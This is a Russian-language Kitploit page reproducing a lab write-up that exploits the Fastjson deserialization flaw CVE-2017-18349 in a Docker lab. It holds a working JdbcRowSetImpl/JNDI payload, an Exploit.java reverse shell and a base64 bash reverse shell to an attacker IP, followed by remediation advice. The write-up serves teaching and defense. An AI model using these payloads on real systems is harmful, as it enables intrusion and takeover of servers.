Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-18349 — Пошаговый разбор эксплуатации RCE-уязвимости CVE-2017-18349 через десериализацию Fastjson, охватывающий определение поверхности атаки, фингерпринтинг, JNDI-инъекцию и получение reverse shell в лабораторной среде Docker. | Kitploit
Инструменты/GitHubGitHub/dungsocool/cve-2017-18349
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного ДоступаРазработка Полезной НагрузкиЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubdungsocool/cve-2017-18349

CVE-2017-18349

Пошаговый разбор эксплуатации RCE-уязвимости CVE-2017-18349 через десериализацию Fastjson, охватывающий определение поверхности атаки, фингерпринтинг, JNDI-инъекцию и получение reverse shell в лабораторной среде Docker.

2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

Лабораторная работа 6-CVE-2017-18349

I. АНАЛИЗ СИСТЕМЫ

Определение поверхности атаки

Начнём с того, что запущено в окружении. Перечислю все активные контейнеры:

root@kitploit:~
docker ps

image.png

Жертва открывает наружу только один порт: 8090

На данный момент цель мне ещё не полностью ясна. Судя по результатам docker ps, система публикует наружу только один значимый сервис на порту 8090, который сопоставлен с внутренним сервисом контейнера. Это основная поверхность атаки, которую предстоит проанализировать.

⇒ Я сразу обращаюсь к нему через curl, чтобы получить дополнительную информацию

root@kitploit:~
curl -i 192.168.3.137:8090/

image.png

Анализ ответа:

  • Ответ содержит Content-Type: application/json;charset=UTF-8.
  • Возвращаемые данные имеют формат JSON: {"age": 25, "name": "Bob"}.

⇒ Размышление: При обращении к порту 8090 сервер возвращает JSON-данные. Это указывает на то, что конечная точка не просто отдаёт статическую веб-страницу, а имеет бэкенд, который обрабатывает запросы и сериализует данные в JSON для возврата клиенту. Из результатов docker ps видно, что команда, запущенная внутри контейнера, похожа на Java-приложение, поэтому следующее направление проверки — идентификация распространённых JSON-парсеров в Java.

В Java популярные JSON-библиотеки, такие как Jackson, Gson и Fastjson, ведут себя по-разному при обработке необычных входных данных. Поэтому можно применить технику идентификации по ошибкам (Error-based Fingerprinting). Возвращаемая ошибка иногда напрямую раскрывает библиотеку или внутренний механизм обработки. Среди них Fastjson — цель, которую нужно проверить в первую очередь, поскольку в старых версиях было множество критических уязвимостей, связанных с десериализацией через AutoType.

Здесь я не утверждаю сразу, что бэкенд использует Fastjson. Я лишь выбираю Fastjson как первое направление проверки, потому что у него есть чёткий отпечаток через ключ @type, и если это действительно старая версия Fastjson, возможности эксплуатации уходят гораздо дальше стандартной ошибки парсинга — вплоть до RCE.

Идентификация и зондирование библиотеки

У Fastjson есть очень полезная особенность для идентификации: он распознаёт специальный ключ @type. Если бэкенд использует Fastjson и тело запроса, попадающее в поток десериализации, поддерживает AutoType, парсер может попытаться интерпретировать значение @type как имя Java-класса.

Поэтому я отправляю нагрузку, содержащую @type, указывающий на несуществующий класс. Цель этого шага — не немедленная эксплуатация, а наблюдение за тем, реагирует ли бэкенд на @type.

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  -d '{"@type":"com.non.existent.Class"}' \
  http://192.168.3.137:8090/

image.png

Если бы бэкенд использовал стандартный JSON-парсер и не обращал внимания на @type, это поле могло бы просто игнорироваться или рассматриваться как обычный ключ в JSON. Однако здесь бэкенд реагирует поведением, связанным с типами (type not match), а значит, запрос попал в поток обработки сопоставления классов/типов.

Сообщение «type not match» — характерный признак, который часто встречается, когда Fastjson обрабатывает @type, но указанный класс не совпадает с типом данных, ожидаемым конечной точкой, либо класс не существует/не разрешён к десериализации.

⇒ Размышление: Бэкенд действительно разбирает JSON-тело POST-запроса, поле @type не игнорируется, парсер имеет механизм обработки метаданных типов, а возвращаемая ошибка соответствует поведению Alibaba Fastjson. Таким образом, можно с высокой уверенностью заключить, что бэкенд использует Alibaba Fastjson.**

Определение условий эксплуатации

После шага идентификации я не могу сразу сделать вывод о возможности эксплуатации системы. Использование Fastjson на бэкенде доказывает лишь то, что JSON-запрос попадает в поток обработки @type.

Чтобы выполнить RCE-эксплойт, необходимо проверить следующее:

  • Используется ли старая версия Fastjson, подверженная десериализации через AutoType.
  • Позволяет ли JVM жертвы загружать классы удалённо через JNDI.
  • Существует ли в classpath/JDK подходящий gadget-класс для запуска опасного поведения.

⇒ Размышление: Ошибка type not match показывает, что бэкенд реагирует на @type, но текущая нагрузка лишь использует фиктивный класс для вызова ошибки. Для реальной эксплуатации нужно заменить этот фиктивный класс на реальный класс, присутствующий в Java/JDK и способный создавать исходящие действия, такие как JNDI-lookup.

Проверка версий Fastjson и JVM

Чтобы определить версию, я проверяю непосредственно внутри контейнера/приложения.

image.png

После того как я определил, что приложение упаковано в файл /usr/src/fastjsondemo.jar, я приступаю к глубокому анализу структуры этого пакета в поисках библиотеки обработки JSON. Проверка структуры каталога BOOT-INF/lib/ обнаруживает файл fastjson-1.2.24.jar (рисунок X).

Использование именно версии 1.2.24 — первой и самой известной версии, затронутой уязвимостью десериализации, без каких-либо защитных механизмов autoType, — позволяет подтвердить, что система уязвима к CVE-2017-18349.

Обнаружение fastjson-1.2.24.jar подтверждает, что приложение использует очень старую версию Fastjson, относящуюся к группе, затронутой дефектом десериализации AutoType. В этой версии механизм контроля над AutoType не был ужесточён, как в более поздних версиях, поэтому с точки зрения условий библиотеки система подвержена эксплуатации через такие gadget-классы, как JdbcRowSetImpl.

Однако реальная эксплуатируемость по-прежнему зависит от того, как конечная точка вызывает Fastjson. Если приложение разбирает JSON в фиксированный класс, размещение нагрузки @type в корневом объекте может привести к ошибке «type not match». Поэтому после определения версии необходимо продолжить анализ JVM, gadget-класса и поведения LDAP-обратного вызова, чтобы подтвердить, действительно ли цепочка эксплуатации достигает JNDI-lookup.

Анализ условий достижения JNDI Lookup

1. Анализ барьеров JVM

Помимо версии Fastjson, решающим фактором является и версия Java. Проверяю JVM внутри контейнера:

root@kitploit:~
java -version

image.png

Это критически важная информация, поскольку цепочки эксплуатации Fastjson обычно полагаются на JNDI Injection. Более новые версии Java по умолчанию блокируют загрузку классов из внешних codebase через LDAP/RMI. Однако Java 8u102 — старая версия, в которой этих блокирующих механизмов ещё нет.

Поэтому, если атакующий сможет инициировать JNDI-lookup, JVM жертвы будет способна загрузить класс с внешнего HTTP-сервера и внедрить его в среду выполнения.

Анализ gadget-класса JdbcRowSetImpl

После определения старых версий Fastjson и JVM следующий шаг — найти класс, присутствующий в JDK, который может вызывать опасное поведение при десериализации.

com.sun.rowset.JdbcRowSetImpl — подходящий гаджет, поскольку этот класс существует в JDK и имеет свойство dataSourceName. Когда свойству dataSourceName присваивается значение в формате LDAP URL, объект можно использовать для запуска исходящего JNDI-lookup.

⇒ Размышление: Мне не нужно загружать код напрямую на сервер. Вместо этого я использую существующий класс внутри JVM, чтобы заставить жертву подключиться к LDAP-серверу, контролируемому атакующим.

Проверка цепочки эксплуатации

После установления необходимых условий в отношении библиотеки и JVM нужно проверить, действительно ли нагрузка заставляет жертву устанавливать исходящее соединение. Это критически важный шаг для разграничения:

  • Системы, содержащей уязвимую библиотеку/версию.
  • Реальной цепочки эксплуатации, которая может успешно инициировать JNDI-lookup.

Если LDAP-сервер или слушатель получает соединение от жертвы, это доказывает, что нагрузка успешно достигла шага JNDI-lookup. Если обратного вызова нет и сервер возвращает type not match, это указывает на то, что текущая нагрузка не соответствует потоку десериализации конечной точки. В этом случае нагрузку необходимо скорректировать под точную структуру объекта, разбираемую конечной точкой, либо использовать альтернативные обходные пути/гаджеты.

Выводы по этапу анализа

На основе описанных выше шагов цепочку условий системы можно резюмировать следующим образом:

  • Сервис на порту 8090 — это бэкенд, обрабатывающий JSON.
  • Ответ с ошибкой при передаче @type указывает на то, что бэкенд обрабатывает механизм метаданных типов, что соответствует поведению Fastjson.
  • Проверка внутри контейнера подтверждает, что приложение включает библиотеку fastjson-1.2.24.jar.
  • Fastjson 1.2.24 относится к группе версий, затронутых CVE-2017-18349.
  • JVM жертвы — OpenJDK 1.8.0_102, старая версия, которая по умолчанию не блокирует удалённую загрузку codebase через JNDI.
  • Gadget-класс com.sun.rowset.JdbcRowSetImpl существует в JDK и может быть использован для запуска JNDI-lookup через свойство dataSourceName.

⇒ Стратегия эксплуатации:

Мне не нужно искать функции загрузки файлов или записывать файлы непосредственно на сервер. Вместо этого я использую поток десериализации Fastjson, чтобы заставить JVM создать экземпляр объекта JdbcRowSetImpl. Когда этот объект получает dataSourceName в виде LDAP URL, жертва выполнит JNDI-lookup к серверу, контролируемому атакующим. Оттуда атакующий может перенаправить JVM на загрузку вредоносного класса с внешнего HTTP-сервера и выполнить код внутри этого класса.

Таким образом, выбранный путь эксплуатации:

root@kitploit:~
Fastjson AutoType
→ JdbcRowSetImpl gadget
→ JNDI LDAP lookup
→ HTTP codebase containing Exploit.class
→ Reverse shell back to the attacker

II. ЭКСПЛУАТАЦИЯ

Механизм эксплуатации

root@kitploit:~
text

Connection received on 192.168.3.137 43928
whoami
root

В Fastjson 1.2.24 класс com.sun.rowset.JdbcRowSetImpl — это gadget-класс, присутствующий в classpath JVM (относящийся к стандартной библиотеке rt.jar). Когда Fastjson десериализует JSON-строку, содержащую @type, указывающий на этот класс:

  1. Fastjson создаёт экземпляр JdbcRowSetImpl.
  2. Вызывается сеттер setDataSourceName() → задаётся JNDI-адрес.
  3. setDataSourceName() запускает внутренний InitialContext.lookup(dataSourceName) → именно здесь происходит вся JNDI Injection, прежде чем setAutoCommit() успеет выполниться.
  4. JNDI Lookup обращается к LDAP-серверу атакующего → получает Reference Object.
  5. JVM загружает файл Exploit.class из HTTP Codebase, помещает его в память → выполняется блок static {}.

Написание Java-кода эксплойта (Exploit.java)

root@kitploit:~
import java.io.IOException;
public class Exploit {
    static {
        try {
            String[] cmd = {
                "/bin/bash",
                "-c",
                "exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
            };
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Компиляция с обратной совместимостью для Java 8 и настройка HTTP Codebase Server

Поскольку JVM жертвы работает на Java 8u102, при компиляции необходимо указать целевую версию Java 8. В противном случае жертва выбросит UnsupportedClassVersionError, и цепочка атаки молча оборвётся. После этого настраиваем HTTP Codebase Server:

root@kitploit:~
javac -source 1.8 -target 1.8 Exploit.java
python3 -m http.server 8000

Настройка JNDI Exploit Server с помощью JNDI-Injection-Exploit

Поскольку в окружении Kali используется Java 25 — слишком новая для сборки marshalsec, — используем альтернативный инструмент JNDI-Injection-Exploit. Сначала создадим нагрузку reverse shell в формате base64:

root@kitploit:~
echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64

Запустим JNDI-сервер с указанной выше нагрузкой:

root@kitploit:~
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
  -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
  -A 192.168.3.114

image.png

Инструмент автоматически генерирует LDAP-адрес:

root@kitploit:~
ldap://192.168.3.114:1389/6bzjwg

Прослушивание и запуск цепочки атаки

Открываем порт обратного прослушивания:

root@kitploit:~
nc -lvnp 4444

Мы видим, что размещение нагрузки @type в корневом объекте возвращает ошибку type not match — потому что контроллер Spring Boot сопоставляет JSON с фиксированным типом, который на корневом уровне не совпадает с JdbcRowSetImpl.

Корректировка нагрузки: Обернём gadget-класс во вложенное поле ("data":{...}), чтобы Fastjson обрабатывал вложенный объект независимо от ограничения типа со стороны контроллера:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  -d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
  http://192.168.3.137:8090/

Результаты эксплуатации

image.png

На LDAP-сервере (marshalsec): зафиксирован успешный JNDI-запрос с IP-адреса жертвы и перенаправление на HTTP codebase.

На HTTP-сервере (Python): зафиксирован запрос на загрузку файла Exploit.class с кодом состояния 200 OK с IP-адреса жертвы, что доказывает успешную загрузку байт-кода JVM.

На слушателе Netcat: успешно установлена интерактивная сессия (reverse shell):

root@kitploit:~
listening on [any] 4444 ...
connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
root@7308074af0ab:/# whoami
root

Полная цепочка эксплуатации успешно подтверждена: от отправки JSON-нагрузки → JNDI-lookup → LDAP-перенаправления → загрузки удалённого класса → выполнения кода в блоке static {} → установления reverse shell с привилегиями root.

III. ОЦЕНКА РИСКОВ И УСТРАНЕНИЕ УЯЗВИМОСТИ

ОЦЕНКА РИСКОВ

Уязвимость RCE при десериализации в Fastjson (CVE-2017-18349) в этой системе оценивается на высшем уровне критичности:


РЕКОМЕНДАЦИИ ПО УСТРАНЕНИЮ УЯЗВИМОСТИ

Чтобы полностью устранить эту уязвимость, следует реализовать действия в следующем порядке приоритетов:

Неотложные приоритеты (краткосрочные):

  1. Обновите Fastjson: Обновите библиотеку до безопасной версии (≥ 1.2.83). Начиная с версии 1.2.25, функция autoType отключена по умолчанию и добавлен строгий механизм чёрного списка — это напрямую устраняет вектор атаки CVE-2017-18349. Либо рассмотрите переход на более поддерживаемую альтернативную библиотеку, например Jackson или Gson.
  2. Обновите JVM: Обновите среду выполнения Java минимум до Java 8u191. Начиная с этой версии свойство com.sun.jndi.ldap.object.trustURLCodebase по умолчанию равно false — это полностью блокирует возможность JVM автоматически загружать классы удалённо через LDAP/RMI, разрывая цепочку JNDI Injection, даже если Fastjson по-прежнему содержит уязвимость.
  3. Снизьте привилегии выполнения: Никогда не запускайте веб-приложение под пользователем root. Создайте выделенного пользователя (например, app_user) с минимальными привилегиями — даже если атакующий добьётся RCE, ущерб будет ограничен областью привилегий этого пользователя.

Высокие приоритеты (долгосрочные и эшелонированная защита):

  1. Отключите autoType: Если в краткосрочной перспективе сохранение старой версии Fastjson обязательно, включите SafeMode в исходном коде, чтобы полностью отключить autoType:
root@kitploit:~
ParserConfig.getGlobalInstance().setSafeMode(true);

Либо настройте строгий белый список, разрешающий десериализацию только одобренных классов.

  1. Разверните WAF: Настройте межсетевой экран уровня веб-приложений (Web Application Firewall) для обнаружения и блокировки HTTP-запросов, содержащих в JSON-теле сигнатуры эксплуатации Fastjson: @type, JdbcRowSetImpl, dataSourceName, ldap://, rmi://.
  2. Ограничьте сетевые возможности контейнера: Настройте правила межсетевого экрана для блокировки исходящих соединений, активно инициируемых контейнером (исходящий трафик) — это предотвратит подключение reverse shell обратно к атакующему и заблокирует JNDI-обратные вызовы к внешним LDAP/RMI-серверам. В среде Docker настройте соответствующие правила -network и iptables.
Скачать инструмент
КритерийОценкаДетали
Балл CVSS9.8 (критическая)Чрезвычайно высокий уровень риска — ниже абсолютных 10.0 только потому, что не требует особого сетевого доступа.
АутентификацияНе требуетсяАтакующему не нужна учётная запись или учётные данные для эксплуатации. Атаковать может любой, кто способен отправить HTTP-запрос.
СложностьОчень низкаяТребуется отправить лишь один HTTP POST-запрос с корректной JSON-нагрузкой — без сложных инструментов и особых условий.
Защита JVMОтсутствуетJava 8u102 не имеет механизма блокировки загрузки удалённых классов (trustURLCodebase по умолчанию равен true), что позволяет всей цепочке JNDI Injection → Remote Class Loading работать беспрепятственно.
Полученные привилегииrootПолный контроль над контейнером приложения на высшем уровне привилегий — чтение/запись/удаление любых файлов, включая /etc/shadow.
Латеральное перемещениеВысокоеИз скомпрометированного контейнера атакующий может сканировать внутреннюю сеть (172.19.0.0/16) и атаковать другие контейнеры в той же Docker-сети project1_default.